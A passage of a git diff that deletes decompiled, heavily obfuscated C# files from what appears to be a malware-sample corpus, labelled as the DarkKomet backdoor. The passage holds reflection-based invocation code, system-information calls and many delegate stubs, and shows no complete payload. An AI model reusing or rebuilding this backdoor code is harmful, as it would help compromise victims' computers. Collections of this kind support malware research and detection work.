\u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u008E\u0003((object) type2), \u0002.\u0002\u0002(2618))) - obj0 = (Exception) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type2, \u0002.\u0002\u0002(2663)), (object) obj0); - if (true) - goto label_38; -label_3: - if (obj0 == null) - return; - if (obj0 is ThreadAbortException) - return; - bool flag; - try - { - \u0006\u0002.\u0006\u0002 obj2 = new \u0006\u0002.\u0006\u0002(this.\u0092\u0005(), obj0, this.\u0004); - if (true) - goto label_18; -label_7: - \u0006\u0002.\u0006\u0002 obj3; - obj3.\u0098\u0004(new \u0086\u0004(this.\u0006\u0002)); - obj3.\u0006\u0002(new EventHandler(this.\u0006\u0002)); - obj3.\u0006\u0002(new \u0081\u0004(this.\u0006\u0002)); - \u0082\u0004 obj4 = new \u0082\u0004(obj3, obj0); - if (true) - goto label_16; -label_8: - \u0082\u0004 obj5; - if (\u0008.\u0006\u0002.\u0006\u0002() != null) - obj5.\u0006\u0002(); - if (!obj1) - { - obj5.\u0006\u0002(false); - obj5.\u0003\u0005(false); - } - else if (\u0091\u0004.\u0001) - { - obj5.\u0006\u0002(false); - obj5.\u0003\u0005(true); - } - this.\u008B\u0005(obj5); - int num = !obj5.\u0002\u0005() ? 1 : 0; - if (true) - { - flag = num != 0; - goto label_21; - } - else - goto label_21; -label_16: - obj5 = obj4; - goto label_8; -label_18: - obj3 = obj2; - goto label_7; - } - catch (ThreadAbortException ex) - { - } - catch (Exception ex) - { - this.\u008C\u0005(new \u0080\u0004(ex)); - } -label_21: - if (!flag) - return; - foreach (Assembly assembly in \u000F\u0003.\u007E\u009F\u0002((object) \u000E\u0003.\u009E\u0002())) - { - try - { - string str = \u0082\u0002.\u007E\u0001\u0005((object) assembly); - if (\u0093\u0002.\u007E\u0012\u0002((object) str, \u0002.\u0002\u0002(2688))) - { - if (\u0093\u0002.\u007E\u0016\u0002((object) str, \u0002.\u0002\u0002(2713))) - { - object obj6 = \u009E\u0003.\u007E\u0081\u0005((object) \u009F\u0003.\u007E\u008B\u0005((object) \u0088\u0003.\u007E\u0095\u0003((object) \u0091\u0003.\u007E\u0002\u0005((object) assembly, \u0002.\u0002\u0002(2746)), \u0002.\u0002\u0002(2783))), (object) null, (object[]) null); - object obj7 = \u009E\u0003.\u007E\u0081\u0005((object) \u0083\u0003.\u007E\u0091\u0003((object) \u0086\u0002.\u007E\u0099(obj6), \u0002.\u0002\u0002(2796), new Type[0]), obj6, (object[]) null); - } - } - } - catch - { - } - if (false) - return; - } - try - { - \u008F\u0004.\u0015\u0007(); - return; - } - catch - { - try - { - \u0017\u0003.\u0011\u0003(0); - return; - } - catch - { - return; - } - } -label_38: - flag = true; - goto label_3; - } - - private void \u0006\u0002([In] object obj0, [In] \u0080\u0004 obj1) => this.\u008C\u0005(obj1); - - private void \u0006\u0002([In] object obj0, [In] EventArgs obj1) - { - EventHandler eventHandler1 = this.\u0005; - EventHandler eventHandler2; - if (true) - eventHandler2 = eventHandler1; - if (eventHandler2 == null) - return; - eventHandler2(obj0, obj1); - } - - private void \u0006\u0002([In] object obj0, [In] \u0087\u0004 obj1) - { - \u0086\u0004 obj2 = this.\u0006; - \u0086\u0004 obj3; - if (true) - obj3 = obj2; - if (obj3 == null) - return; - obj3(obj0, obj1); - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0093_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0093_0004.cs deleted file mode 100644 index 180dc26c..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0093_0004.cs +++ /dev/null @@ -1,167 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .“ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u007F\u0004 -{ - internal class \u0093\u0004 - { - private static bool \u0001; - private static \u0093\u0004.\u0006\u0002 \u0002; - - [DllImport("kernel32.Dll", EntryPoint = "GetVersionEx")] - private static extern short \u0006\u0002([In] ref \u0093\u0004.\u0006\u0002 obj0); - - [DllImport("user32.dll", EntryPoint = "GetSystemMetrics")] - private static extern int \u0006\u0002([In] int obj0); - - [DllImport("kernel32.dll", EntryPoint = "GetSystemInfo")] - private static extern void \u0006\u0002([In] ref \u0093\u0004.\u0094\u0004 obj0); - - [SpecialName] - private static \u0093\u0004.\u0006\u0002 \u0006\u0002() - { - if (!\u0093\u0004.\u0001) - { - \u0093\u0004.\u0002 = new \u0093\u0004.\u0006\u0002(); - try - { - \u0093\u0004.\u0002.\u0001 = Marshal.SizeOf(typeof (\u0093\u0004.\u0006\u0002)); - do - { - if (true) - { - int num = (int) \u0093\u0004.\u0006\u0002(ref \u0093\u0004.\u0002); - } - if (false) - goto label_9; - } - while (false); - \u0093\u0004.\u0001 = true; - } - catch - { - } - } -label_9: - return \u0093\u0004.\u0002; - } - - [SpecialName] - internal static bool \u0006\u0002() - { - try - { - \u0093\u0004.\u0094\u0004 obj = new \u0093\u0004.\u0094\u0004(); - \u0093\u0004.\u0006\u0002(ref obj); - int num1 = (int) obj.\u0001; - int num2; - do - { - num2 = 9; - while (num2 != 0) - { - if (true) - { - int num3 = num1 == num2 ? 1 : 0; - num2 = 6; - num1 = num3; - break; - } - } - } - while (num2 == 0); - return num1 != 0; - } - catch - { - return false; - } - } - - [SpecialName] - internal static bool \u001E\u0004() - { - bool flag; - try - { - if (true) - { - int num1 = \u0093\u0004.\u0006\u0002(89) == 0 ? 1 : 0; - int num2; - while (true) - { - int num3 = 0; - int num4; - while (true) - { - num2 = num1 == num3 ? 1 : 0; - num4 = 0; - if (num4 != 0) - { - num3 = num4; - num1 = num2; - } - else - break; - } - if (num4 != 0) - num1 = num2; - else - break; - } - flag = num2 != 0; - } - } - catch - { - flag = false; - } - return flag; - } - - [SpecialName] - internal static bool \u0092\u0004() => \u0093\u0004.\u0006\u0002().\u000F == (byte) 1; - - [SpecialName] - internal static string \u0006\u0002() => \u0093\u0004.\u0006\u0002().\u0006; - - private struct \u0006\u0002 - { - public int \u0001; - public uint \u0002; - public uint \u0003; - public uint \u0004; - public uint \u0005; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string \u0006; - public ushort \u0007; - public ushort \u0008; - public ushort \u000E; - public byte \u000F; - private byte \u0010; - } - - internal struct \u0094\u0004 - { - public ushort \u0001; - private ushort \u0002; - public uint \u0003; - public IntPtr \u0004; - public IntPtr \u0005; - public IntPtr \u0006; - public uint \u0007; - public uint \u0008; - public uint \u000E; - public ushort \u000F; - public ushort \u0010; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0002.cs deleted file mode 100644 index e92afa71..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate Process \u0080\u0002([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0003.cs deleted file mode 100644 index 8a692154..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Module \u0080\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0004.cs deleted file mode 100644 index f98c63bf..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0080_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.Runtime.InteropServices; - -internal delegate void \u0080\u0004([In] object obj0, [In] ShutdownEventHandler obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0002.cs deleted file mode 100644 index 80ea3825..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate Process \u0081\u0002([In] string obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0003.cs deleted file mode 100644 index 6eb5cbdb..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly \u0081\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0004.cs deleted file mode 100644 index cb3f16da..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0081_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0081\u0004([In] object obj0, [In] string[] obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0002.cs deleted file mode 100644 index 84da119c..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0082\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0003.cs deleted file mode 100644 index 896152aa..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0082\u0003([In] RuntimeTypeHandle obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0004.cs deleted file mode 100644 index d0711f25..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0082_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0082\u0004([In] object obj0, [In] Form obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0002.cs deleted file mode 100644 index 51f44cb3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0083\u0002([In] object obj0, [In] object obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0003.cs deleted file mode 100644 index 2a49b6a3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0003.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo \u0083\u0003([In] object obj0, [In] string obj1, [In] Type[] obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0004.cs deleted file mode 100644 index 8a7f7089..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0083_0004.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -internal delegate bool \u0083\u0004(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0002.cs deleted file mode 100644 index cd7bd475..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0084\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0003.cs deleted file mode 100644 index 37f5f31b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo \u0084\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0004.cs deleted file mode 100644 index 9171e11d..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0084_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0084\u0004([In] object obj0, [In] bool obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0002.cs deleted file mode 100644 index 5ab0c694..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0086\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0003.cs deleted file mode 100644 index f3218c01..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate FieldInfo \u0086\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0004.cs deleted file mode 100644 index d3b6731e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0086_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.Runtime.InteropServices; - -internal delegate void \u0086\u0004([In] object obj0, [In] ShutdownMode obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0002.cs deleted file mode 100644 index 3f1bca4e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Collections; -using System.Runtime.InteropServices; - -internal delegate IEnumerator \u0087\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0087_0003.cs deleted file mode 